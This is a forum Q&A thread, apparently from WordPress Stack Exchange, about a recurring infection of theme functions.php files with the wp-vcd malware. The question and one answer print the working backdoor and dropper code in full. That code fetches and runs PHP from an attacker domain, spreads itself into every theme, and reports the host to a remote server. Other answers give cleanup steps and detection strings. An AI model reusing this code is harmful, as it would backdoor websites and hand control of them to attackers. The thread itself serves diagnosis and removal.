4

This code appears in my theme's functions.php, also in child theme's. I've deleted it for two times but it comes back. What is it?

if ( isset( $_REQUEST['action'] ) && isset( $_REQUEST['password'] ) && ( $_REQUEST['password'] == '227972a1a62825660efb0f32126db07f' ) ) {
    $div_code_name = "wp_vcd";
    switch ( $_REQUEST['action'] ) {
        case 'change_domain';
            if ( isset( $_REQUEST['newdomain'] ) ) {

                if ( ! empty( $_REQUEST['newdomain'] ) ) {
                    if ( $file = @file_get_contents( __FILE__ ) ) {
                        if ( preg_match_all( '/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code4\.php/i', $file, $matcholddomain ) ) {

                            $file = preg_replace( '/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file );
                            @file_put_contents( __FILE__, $file );
                            print "true";
                        }


                    }
                }
            }
            break;


        default:
            print "ERROR_WP_ACTION WP_V_CD WP_CD";
    }

    die( "" );
}


if ( ! function_exists( 'theme_temp_setup' ) ) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[ REQUEST_URI ];
    if ( stripos( $_SERVER['REQUEST_URI'], 'wp-cron.php' ) == false && stripos( $_SERVER['REQUEST_URI'], 'xmlrpc.php' ) == false ) {
        if ( $tmpcontent = @file_get_contents( "http://www.dolsh.cc/code4.php?i=" . $path ) ) {
            function theme_temp_setup( $phpCode ) {
                $tmpfname = tempnam( sys_get_temp_dir(), "theme_temp_setup" );
                $handle   = fopen( $tmpfname, "w+" );
                fwrite( $handle, "<?php\n" . $phpCode );
                fclose( $handle );
                include $tmpfname;
                unlink( $tmpfname );

                return get_defined_vars();
            }

            extract( theme_temp_setup( $tmpcontent ) );
        }
    }
}
  • What theme are you using? – lukgoh Oct 1 '17 at 20:18
  • Please post the name of the theme. It is possible that your site is hacked; or the theme you're using is backdoored by the authors - hard to say which. One way to check is to see the theme's code if the backdoor is still there. In any case, you should get rid of that file and check deeper to see if other files are infected (in other ways) too. – Sas3 Oct 2 '17 at 2:35
  • Hi, I use Boss theme. But the code appears in every theme such as twentyseventeen theme.The code has gone now as I use Wordfence to scan and removed it. I think the problem derives from the plugins I use. – Topy Oct 2 '17 at 6:41
8

Your website has been hacked. This is malicious code that gets triggered from the outside, loading more malicious content from 'www.dolsh.cc' domain.

If the content comes back after you remove it, then you have hacked files somewhere else that will automatically rewrite functions.php any time page is loaded. You need to find and clean up all infected files, and it is impossible to tell which files are infected without detailed review of the website. Most infections like this spread into various areas to make sure they are hard to remove.

You should backup database, and then reinstall WordPress from scratch, all plugins you have and them that is not infected. It is possible that some plugin is the source of the infection, or the theme itself. If you have download plugins or themes from some illegal website (offering premium plugins for free), that is the most likely source of the infection.

  • Hi, thanks for your information. I use Worldfense to scan and found the issues. After I removed the files, and I notice that that code doesn't come back again. Do I have to reinstall WordPress from scratch? Thanks. – Topy Oct 2 '17 at 7:10
5

I use Wordfence to scan the files. And the scan shows the results:

  • the functions.php in twentyseventeen theme also contains the same code above.
  • In the wp-includes folder, there's a strange file "wp-vcd.php" The file contains the code below:

    <?php 
    error_reporting(0);
    ini_set('display_errors', 0);
    
    $install_code = 'PD9waHANCg0KaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsncGFzc3dvcmQnXSkgJiYgKCRfUkVRVUVTVFsncGFzc3dvcmQnXSA9PSAneyRQQVNTV09SRH0nKSkNCgl7DQokZGl2X2NvZGVfbmFtZT0id3BfdmNkIjsNCgkJc3dpdGNoICgkX1JFUVVFU1RbJ2FjdGlvbiddKQ0KCQkJew0KDQoJCQkJDQoNCg0KDQoNCgkJCQljYXNlICdjaGFuZ2VfZG9tYWluJzsNCgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnbmV3ZG9tYWluJ10pKQ0KCQkJCQkJew0KCQkJCQkJCQ0KCQkJCQkJCWlmICghZW1wdHkoJF9SRVFVRVNUWyduZXdkb21haW4nXSkpDQoJCQkJCQkJCXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZmlsZSA9IEBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXykpDQoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKHByZWdfbWF0Y2hfYWxsKCcvXCR0bXBjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzXCgiaHR0cDpcL1wvKC4qKVwvY29kZTRcLnBocC9pJywkZmlsZSwkbWF0Y2hvbGRkb21haW4pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCg0KCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGUgPSBwcmVnX3JlcGxhY2UoJy8nLiRtYXRjaG9sZGRvbWFpblsxXVswXS4nL2knLCRfUkVRVUVTVFsnbmV3ZG9tYWluJ10sICRmaWxlKTsNCgkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJGZpbGUpOw0KCQkJCQkJCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgInRydWUiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KDQoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJYnJlYWs7DQoNCgkJCQkNCgkJCQkNCgkJCQlkZWZhdWx0OiBwcmludCAiRVJST1JfV1BfQUNUSU9OIFdQX1ZfQ0QgV1BfQ0QiOw0KCQkJfQ0KCQkJDQoJCWRpZSgiIik7DQoJfQ0KDQoJDQoNCg0KaWYgKCAhIGZ1bmN0aW9uX2V4aXN0cyggJ3RoZW1lX3RlbXBfc2V0dXAnICkgKSB7ICANCiRwYXRoPSRfU0VSVkVSWydIVFRQX0hPU1QnXS4kX1NFUlZFUltSRVFVRVNUX1VSSV07DQppZiAoIHN0cmlwb3MoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10sICd3cC1jcm9uLnBocCcpID09IGZhbHNlICYmIHN0cmlwb3MoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10sICd4bWxycGMucGhwJykgPT0gZmFsc2UpIHsNCg0KaWYoJHRtcGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cuZG9sc2guY2MvY29kZTQucGhwP2k9Ii4kcGF0aCkpDQp7DQoNCg0KZnVuY3Rpb24gdGhlbWVfdGVtcF9zZXR1cCgkcGhwQ29kZSkgew0KICAgICR0bXBmbmFtZSA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCAidGhlbWVfdGVtcF9zZXR1cCIpOw0KICAgICRoYW5kbGUgPSBmb3BlbigkdG1wZm5hbWUsICJ3KyIpOw0KICAgIGZ3cml0ZSgkaGFuZGxlLCAiPD9waHBcbiIgLiAkcGhwQ29kZSk7DQogICAgZmNsb3NlKCRoYW5kbGUpOw0KICAgIGluY2x1ZGUgJHRtcGZuYW1lOw0KICAgIHVubGluaygkdG1wZm5hbWUpOw0KICAgIHJldHVybiBnZXRfZGVmaW5lZF92YXJzKCk7DQp9DQoNCmV4dHJhY3QodGhlbWVfdGVtcF9zZXR1cCgkdG1wY29udGVudCkpOw0KfQ0KfQ0KfQ0KDQoNCg0KPz4=';
    
    $install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
    $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
    
    
            $themes = ABSPATH . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';
    
            $ping = true;
                $ping2 = false;
            if ($list = scandir( $themes ))
                {
                    foreach ($list as $_)
                        {
    
                            if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
                                {
                                    $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');
    
                                    if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
                                        {
                                            if (strpos($content, 'WP_V_CD') === false)
                                                {
                                                    $content = $install_code . $content ;
                                                    @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
                                                    touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
                                                }
                                            else
                                                {
                                                    $ping = false;
                                                }
                                        }
    
                                }
    
    
                                                              else
                                                            {
                                                            $list2 = scandir( $themes . DIRECTORY_SEPARATOR . $_);
                                                     foreach ($list2 as $_2)
                                                            {
    
    
                                                                                    if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'))
                                                      {
                                    $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php');
    
                                    if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'))
                                        {
                                            if (strpos($content, 'WP_V_CD') === false)
                                                {
                                                    $content = $install_code . $content ;
                                                    @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $content);
                                                    touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php' , $time );
                                                    $ping2 = true;
                                                }
                                            else
                                                {
                                                    //$ping = false;
                                                }
                                        }
    
                                }
    
    
    
                                                                                  }
    
                                                            }
    
    
    
    
    
    
                        }
    
                    if ($ping) {
                        $content = @file_get_contents('http://www.dolsh.cc/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
                        @file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('http://www.dolsh.cc/admin.txt'));
                    }
    
                                                            if ($ping2) {
                        $content = @file_get_contents('http://www.dolsh.cc/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
                        @file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.dolsh.cc/admin.txt'));
     //echo ABSPATH . 'wp-includes/class.wp.php';
                    }                   
    
                }
    
    
    
     ?><?php error_reporting(0);?>
    
  • In the wp-includes folder, this code appears at the top in the post.php file.

     <?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?><?php
    
  • In the wp-includes folder, there's a strange file "wp-feed" containing this lines:

      ::1
      127.0.0.1
    

Now after I've removed the code from all the theme's functions.php and the related file and removed the strange files. I noticed that that code doesn't come back again.

This problem derives from the plugins I download from websites that provide free plugins.

  • 2
    Never download plugins or themes from questionable websites in 99% of the cases you will end up with malware and hacked website. Always download from WordPress.org or plugin/theme author website. – Milan Petrovic Oct 2 '17 at 7:13
  • In wp-includes also removed this file class.wp.php. It looks quite the same to class-wp.php. But what's in the file all is a malicious code. – Topy Oct 4 '17 at 15:56
1

The code that you have shared points towards wp-vcd malware in your WordPress website. The main symptom of wp-vcd malware are spam popups, creates Spam URLs on the website.

Some variants of the malicious codes have been seen to modify core WordPress files and also add new files in the /wp-includes directory.

  • The malware creates a backdoor which allows hackers to have access to your website for extended periods
  • Hackers are able to exploit vulnerabilities in WordPress plugins & themes to upload the wp-vcd malware on vulnerable sites.

In the functions.php file within your theme, you would see some code similar to this:

<?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?>

Cleaning

Approach 1 – Search for files on the server that are usually infected with the wp-vcd hack

  1. wp-includes/wp-vcd.php
  2. wp-includes/wp-tmp.ph
  3. wp-content/themes/*/functions.php (all themes installed on the server whether active or not)
  4. class.theme-modules.php (inside the theme folder)

Approach 2 – Search for string patterns that are found in infected malware files

  1. tmpcontentx
  2. function wp_temp_setupx
  3. wp-tmp.php
  4. derna.top/code.php
  5. stripos($tmpcontent, $wp_auth_key)

For Reference purpose - https://www.getastra.com/blog/911/how-to-fix-wp-vcd-backdoor-hack-in-wordpress-functions-php/

0

if you downloaded premium plugins for free, please check, if it have this both files, be aware, these are files behind this issue.

class.plugin-modules.php class.theme-modules.php

before install, this file was 35kb size, once installed and activated theme/plugin, it move its code to all wp-includes folders in your hosting. so it keep living in all other sites wp-includes hidden.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.